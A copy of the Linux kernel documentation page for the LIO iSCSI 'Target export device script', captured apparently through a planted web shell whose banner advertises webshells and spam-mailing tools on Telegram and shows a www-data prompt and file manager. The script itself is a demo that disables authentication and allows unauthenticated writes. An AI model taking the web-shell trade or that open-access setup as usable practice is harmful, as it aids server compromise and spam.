__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.217.138: ~ $
<!DOCTYPE html>

<html lang="en" data-content_root="../">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />

    <title>Target export device script &#8212; The Linux Kernel  documentation</title>
    <link rel="stylesheet" type="text/css" href="../_static/pygments.css?v=fa44fd50" />
    <link rel="stylesheet" type="text/css" href="../_static/alabaster.css?v=3918102e" />
    <script src="../_static/documentation_options.js?v=5929fcd5"></script>
    <script src="../_static/doctools.js?v=9bcbadda"></script>
    <script src="../_static/sphinx_highlight.js?v=dc90522c"></script>
    <link rel="index" title="Index" href="../genindex.html" />
    <link rel="search" title="Search" href="../search.html" />
    <link rel="next" title="NVMe Subsystem" href="../nvme/index.html" />
    <link rel="prev" title="The TCM v4 fabric module script generator" href="tcm_mod_builder.html" />
   
  <link rel="stylesheet" href="../_static/custom.css" type="text/css" />
  

  
  

  </head><body>
  <div class="document">
    
      <div class="sphinxsidebar" role="navigation" aria-label="Main">
        <div class="sphinxsidebarwrapper">
            <p class="logo"><a href="../index.html">
              <img class="logo" src="../_static/logo.svg" alt="Logo of The Linux Kernel"/>
            </a></p>
<h1 class="logo"><a href="../index.html">The Linux Kernel</a></h1>



<p class="blurb">6.18.50</p>







<search id="searchbox" style="display: none" role="search">
  <h3 id="searchlabel">Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../search.html" method="get">
      <input type="text" name="q" aria-labelledby="searchlabel" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
      <input type="submit" value="Go" />
    </form>
    </div>
</search>
<script>document.getElementById('searchbox').style.display = "block"</script>


<p>
<h3 class="kernel-toc-contents">Contents</h3>
<input type="checkbox" class="kernel-toc-toggle" id = "kernel-toc-toggle" checked>
<label class="kernel-toc-title" for="kernel-toc-toggle"></label>

<div class="kerneltoc" id="kerneltoc">
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/development-process.html">Development process</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/submitting-patches.html">Submitting patches</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/code-of-conduct.html">Code of conduct</a></li>
<li class="toctree-l1"><a class="reference internal" href="../maintainer/index.html">Maintainer handbook</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/index.html">All development-process docs</a></li>
</ul>
<ul class="current">
<li class="toctree-l1"><a class="reference internal" href="../core-api/index.html">Core API</a></li>
<li class="toctree-l1"><a class="reference internal" href="../driver-api/index.html">Driver APIs</a></li>
<li class="toctree-l1 current"><a class="reference internal" href="../subsystem-apis.html">Subsystems</a><ul class="current">
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#core-subsystems">Core subsystems</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#human-interfaces">Human interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#networking-interfaces">Networking interfaces</a></li>
<li class="toctree-l2 current"><a class="reference internal" href="../subsystem-apis.html#storage-interfaces">Storage interfaces</a><ul class="current">
<li class="toctree-l3"><a class="reference internal" href="../filesystems/index.html">Filesystems in the Linux kernel</a></li>
<li class="toctree-l3"><a class="reference internal" href="../block/index.html">Block</a></li>
<li class="toctree-l3"><a class="reference internal" href="../cdrom/index.html">CD-ROM</a></li>
<li class="toctree-l3"><a class="reference internal" href="../scsi/index.html">SCSI Subsystem</a></li>
<li class="toctree-l3 current"><a class="reference internal" href="index.html">TCM Virtual Device</a></li>
<li class="toctree-l3"><a class="reference internal" href="../nvme/index.html">NVMe Subsystem</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#other-subsystems">Other subsystems</a></li>
</ul>
</li>
<li class="toctree-l1"><a class="reference internal" href="../locking/index.html">Locking</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/license-rules.html">Licensing rules</a></li>
<li class="toctree-l1"><a class="reference internal" href="../doc-guide/index.html">Writing documentation</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/index.html">Development tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/testing-overview.html">Testing guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kernel-hacking/index.html">Hacking guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../trace/index.html">Tracing</a></li>
<li class="toctree-l1"><a class="reference internal" href="../fault-injection/index.html">Fault injection</a></li>
<li class="toctree-l1"><a class="reference internal" href="../livepatch/index.html">Livepatching</a></li>
<li class="toctree-l1"><a class="reference internal" href="../rust/index.html">Rust</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/index.html">Administration</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kbuild/index.html">Build system</a></li>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/reporting-issues.html">Reporting issues</a></li>
<li class="toctree-l1"><a class="reference internal" href="../tools/index.html">Userspace tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../userspace-api/index.html">Userspace API</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../firmware-guide/index.html">Firmware</a></li>
<li class="toctree-l1"><a class="reference internal" href="../devicetree/index.html">Firmware and Devicetree</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../arch/index.html">CPU architectures</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../staging/index.html">Unsorted documentation</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../translations/index.html">Translations</a></li>
</ul>

</div>

<script type="text/javascript"> <!--
  var sbar = document.getElementsByClassName("sphinxsidebar")[0];
  let currents = document.getElementsByClassName("current")
  if (currents.length) {
    sbar.scrollTop = currents[currents.length - 1].offsetTop;
  }
  --> </script>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../_sources/target/scripts.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
        </div>
      </div>
      <div class="documentwrapper">
        <div class="bodywrapper">
          

          <div class="body" role="main">
            
  



<section id="target-export-device-script">
<h1>Target export device script<a class="headerlink" href="#target-export-device-script" title="Link to this heading">ΒΆ</a></h1>
<div class="highlight-shell notranslate"><div class="highlight"><pre><span></span><span class="ch">#!/bin/sh</span>
<span class="c1">#</span>
<span class="c1"># This script illustrates the sequence of operations in configfs to</span>
<span class="c1"># create a very simple LIO iSCSI target with a file or block device</span>
<span class="c1"># backstore.</span>
<span class="c1">#</span>
<span class="c1"># (C) Copyright 2014 Christophe Vu-Brugier &lt;cvubrugier@fastmail.fm&gt;</span>
<span class="c1">#</span>

print_usage<span class="o">()</span><span class="w"> </span><span class="o">{</span>
<span class="w">    </span>cat<span class="w"> </span><span class="s">&lt;&lt;EOF</span>
<span class="s">Usage: $(basename $0) [-p PORTAL] DEVICE|FILE</span>
<span class="s">Export a block device or a file as an iSCSI target with a single LUN</span>
<span class="s">EOF</span>
<span class="o">}</span>

die<span class="o">()</span><span class="w"> </span><span class="o">{</span>
<span class="w">    </span><span class="nb">echo</span><span class="w"> </span><span class="nv">$1</span>
<span class="w">    </span><span class="nb">exit</span><span class="w"> </span><span class="m">1</span>
<span class="o">}</span>

<span class="k">while</span><span class="w"> </span><span class="nb">getopts</span><span class="w"> </span><span class="s2">&quot;hp:&quot;</span><span class="w"> </span>arg<span class="p">;</span><span class="w"> </span><span class="k">do</span>
<span class="w">    </span><span class="k">case</span><span class="w"> </span><span class="nv">$arg</span><span class="w"> </span><span class="k">in</span>
<span class="w">        </span>h<span class="o">)</span><span class="w"> </span>print_usage<span class="p">;</span><span class="w"> </span><span class="nb">exit</span><span class="w"> </span><span class="m">0</span><span class="p">;;</span>
<span class="w">        </span>p<span class="o">)</span><span class="w"> </span><span class="nv">PORTAL</span><span class="o">=</span><span class="si">${</span><span class="nv">OPTARG</span><span class="si">}</span><span class="p">;;</span>
<span class="w">    </span><span class="k">esac</span>
<span class="k">done</span>
<span class="nb">shift</span><span class="w"> </span><span class="k">$((</span><span class="nv">$OPTIND</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="m">1</span><span class="k">))</span>

<span class="nv">DEVICE</span><span class="o">=</span><span class="nv">$1</span>
<span class="o">[</span><span class="w"> </span>-n<span class="w"> </span><span class="s2">&quot;</span><span class="nv">$DEVICE</span><span class="s2">&quot;</span><span class="w"> </span><span class="o">]</span><span class="w"> </span><span class="o">||</span><span class="w"> </span>die<span class="w"> </span><span class="s2">&quot;Missing device or file argument&quot;</span>
<span class="o">[</span><span class="w"> </span>-b<span class="w"> </span><span class="nv">$DEVICE</span><span class="w"> </span>-o<span class="w"> </span>-f<span class="w"> </span><span class="nv">$DEVICE</span><span class="w"> </span><span class="o">]</span><span class="w"> </span><span class="o">||</span><span class="w"> </span>die<span class="w"> </span><span class="s2">&quot;Invalid device or file: </span><span class="si">${</span><span class="nv">DEVICE</span><span class="si">}</span><span class="s2">&quot;</span>
<span class="nv">IQN</span><span class="o">=</span><span class="s2">&quot;iqn.2003-01.org.linux-iscsi.</span><span class="k">$(</span>hostname<span class="k">)</span><span class="s2">:</span><span class="k">$(</span>basename<span class="w"> </span><span class="nv">$DEVICE</span><span class="k">)</span><span class="s2">&quot;</span>
<span class="o">[</span><span class="w"> </span>-n<span class="w"> </span><span class="s2">&quot;</span><span class="nv">$PORTAL</span><span class="s2">&quot;</span><span class="w"> </span><span class="o">]</span><span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="nv">PORTAL</span><span class="o">=</span><span class="s2">&quot;0.0.0.0:3260&quot;</span>

<span class="nv">CONFIGFS</span><span class="o">=</span>/sys/kernel/config
<span class="nv">CORE_DIR</span><span class="o">=</span><span class="nv">$CONFIGFS</span>/target/core
<span class="nv">ISCSI_DIR</span><span class="o">=</span><span class="nv">$CONFIGFS</span>/target/iscsi

<span class="c1"># Load the target modules and mount the config file system</span>
lsmod<span class="w"> </span><span class="p">|</span><span class="w"> </span>grep<span class="w"> </span>-q<span class="w"> </span>configfs<span class="w"> </span><span class="o">||</span><span class="w"> </span>modprobe<span class="w"> </span>configfs
lsmod<span class="w"> </span><span class="p">|</span><span class="w"> </span>grep<span class="w"> </span>-q<span class="w"> </span>target_core_mod<span class="w"> </span><span class="o">||</span><span class="w"> </span>modprobe<span class="w"> </span>target_core_mod
mount<span class="w"> </span><span class="p">|</span><span class="w"> </span>grep<span class="w"> </span>-q<span class="w"> </span>^configfs<span class="w"> </span><span class="o">||</span><span class="w"> </span>mount<span class="w"> </span>-t<span class="w"> </span>configfs<span class="w"> </span>none<span class="w"> </span><span class="nv">$CONFIGFS</span>
mkdir<span class="w"> </span>-p<span class="w"> </span><span class="nv">$ISCSI_DIR</span>

<span class="c1"># Create a backstore</span>
<span class="k">if</span><span class="w"> </span><span class="o">[</span><span class="w"> </span>-b<span class="w"> </span><span class="nv">$DEVICE</span><span class="w"> </span><span class="o">]</span><span class="p">;</span><span class="w"> </span><span class="k">then</span>
<span class="w">    </span><span class="nv">BACKSTORE_DIR</span><span class="o">=</span><span class="nv">$CORE_DIR</span>/iblock_0/data
<span class="w">    </span>mkdir<span class="w"> </span>-p<span class="w"> </span><span class="nv">$BACKSTORE_DIR</span>
<span class="w">    </span><span class="nb">echo</span><span class="w"> </span><span class="s2">&quot;udev_path=</span><span class="si">${</span><span class="nv">DEVICE</span><span class="si">}</span><span class="s2">&quot;</span><span class="w"> </span>&gt;<span class="w"> </span><span class="nv">$BACKSTORE_DIR</span>/control
<span class="k">else</span>
<span class="w">    </span><span class="nv">BACKSTORE_DIR</span><span class="o">=</span><span class="nv">$CORE_DIR</span>/fileio_0/data
<span class="w">    </span>mkdir<span class="w"> </span>-p<span class="w"> </span><span class="nv">$BACKSTORE_DIR</span>
<span class="w">    </span><span class="nv">DEVICE_SIZE</span><span class="o">=</span><span class="k">$(</span>du<span class="w"> </span>-b<span class="w"> </span><span class="nv">$DEVICE</span><span class="w"> </span><span class="p">|</span><span class="w"> </span>cut<span class="w"> </span>-f1<span class="k">)</span>
<span class="w">    </span><span class="nb">echo</span><span class="w"> </span><span class="s2">&quot;fd_dev_name=</span><span class="si">${</span><span class="nv">DEVICE</span><span class="si">}</span><span class="s2">&quot;</span><span class="w"> </span>&gt;<span class="w"> </span><span class="nv">$BACKSTORE_DIR</span>/control
<span class="w">    </span><span class="nb">echo</span><span class="w"> </span><span class="s2">&quot;fd_dev_size=</span><span class="si">${</span><span class="nv">DEVICE_SIZE</span><span class="si">}</span><span class="s2">&quot;</span><span class="w"> </span>&gt;<span class="w"> </span><span class="nv">$BACKSTORE_DIR</span>/control
<span class="w">    </span><span class="nb">echo</span><span class="w"> </span><span class="m">1</span><span class="w"> </span>&gt;<span class="w"> </span><span class="nv">$BACKSTORE_DIR</span>/attrib/emulate_write_cache
<span class="k">fi</span>
<span class="nb">echo</span><span class="w"> </span><span class="m">1</span><span class="w"> </span>&gt;<span class="w"> </span><span class="nv">$BACKSTORE_DIR</span>/enable

<span class="c1"># Create an iSCSI target and a target portal group (TPG)</span>
mkdir<span class="w"> </span><span class="nv">$ISCSI_DIR</span>/<span class="nv">$IQN</span>
mkdir<span class="w"> </span><span class="nv">$ISCSI_DIR</span>/<span class="nv">$IQN</span>/tpgt_1/

<span class="c1"># Create a LUN</span>
mkdir<span class="w"> </span><span class="nv">$ISCSI_DIR</span>/<span class="nv">$IQN</span>/tpgt_1/lun/lun_0
ln<span class="w"> </span>-s<span class="w"> </span><span class="nv">$BACKSTORE_DIR</span><span class="w"> </span><span class="nv">$ISCSI_DIR</span>/<span class="nv">$IQN</span>/tpgt_1/lun/lun_0/data
<span class="nb">echo</span><span class="w"> </span><span class="m">1</span><span class="w"> </span>&gt;<span class="w"> </span><span class="nv">$ISCSI_DIR</span>/<span class="nv">$IQN</span>/tpgt_1/enable

<span class="c1"># Create a network portal</span>
mkdir<span class="w"> </span><span class="nv">$ISCSI_DIR</span>/<span class="nv">$IQN</span>/tpgt_1/np/<span class="nv">$PORTAL</span>

<span class="c1"># Disable authentication</span>
<span class="nb">echo</span><span class="w"> </span><span class="m">0</span><span class="w"> </span>&gt;<span class="w"> </span><span class="nv">$ISCSI_DIR</span>/<span class="nv">$IQN</span>/tpgt_1/attrib/authentication
<span class="nb">echo</span><span class="w"> </span><span class="m">1</span><span class="w"> </span>&gt;<span class="w"> </span><span class="nv">$ISCSI_DIR</span>/<span class="nv">$IQN</span>/tpgt_1/attrib/generate_node_acls

<span class="c1"># Allow write access for non authenticated initiators</span>
<span class="nb">echo</span><span class="w"> </span><span class="m">0</span><span class="w"> </span>&gt;<span class="w"> </span><span class="nv">$ISCSI_DIR</span>/<span class="nv">$IQN</span>/tpgt_1/attrib/demo_mode_write_protect

<span class="nb">echo</span><span class="w"> </span><span class="s2">&quot;Target </span><span class="si">${</span><span class="nv">IQN</span><span class="si">}</span><span class="s2">, portal </span><span class="si">${</span><span class="nv">PORTAL</span><span class="si">}</span><span class="s2"> has been created&quot;</span>
</pre></div>
</div>
</section>


          </div>
          
        </div>
      </div>
    <div class="clearer"></div>
  </div>
    <div class="footer">
      &#169;The kernel development community.
      
      |
      Powered by <a href="https://www.sphinx-doc.org/">Sphinx 8.1.3</a>
      &amp; <a href="https://alabaster.readthedocs.io">Alabaster 0.7.16</a>
      
      |
      <a href="../_sources/target/scripts.rst.txt"
          rel="nofollow">Page source</a>
    </div>

    

    
  </body>
</html>

Filemanager

Name Type Size Permission Actions
index.html File 8.33 KB 0644
scripts.html File 17.96 KB 0644
tcm_mod_builder.html File 16.4 KB 0644
tcmu-design.html File 24.69 KB 0644
Filemanager